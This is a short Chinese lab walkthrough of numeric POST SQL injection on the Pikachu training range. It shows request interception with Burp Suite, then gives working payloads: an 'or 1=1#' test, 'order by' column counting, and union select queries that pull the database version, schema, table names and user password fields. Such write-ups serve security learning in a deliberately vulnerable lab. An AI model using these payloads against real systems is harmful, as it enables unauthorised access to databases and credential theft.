Pikachu靶场之SQL注入
在练习注入之前,我们得知道GET方式与POST方式的区别
- GET方式:用户在客户端通过URL提交数据,数据在URL中可以看到
- POST方式:数据放置在HTML HEADER内提交,数据在URL中看不到
- 相对比下:GET只能传输比较少的数据,安全性较低,POST传输数据较多,安全性也比GET高
我们点开数字型注入(post),可以看见
select your userid?
,还有一个下拉框,选择1查询,网页上返回了一个用户及用户的邮箱,通过URL,我们并没有发现提交的参数,所以我们不好进行下一步操作,这里需要利用到Burpsuite进行抓包 .配置好浏览器代理以及打开burp的拦截功能,我们再次刷新网页,burp就会将此页面的数据包拦截,我们将数据包发送到Repeater模块,可以看见有个参数ID=1,修改数据后将数据包发送,过程如下
在ID=1后输入
or 1=1#
上面我们将用户遍历出来了,输入
order by *#
(*是数字)来爆出字段爆出字段后 通过联合查询语句查看数据库及数据库版本信息
union select database(),version()#
查看当前数据库的表
union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
查看users表中的列
union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
查看字段内容
union select 1,group_concat(id,username,password) from users#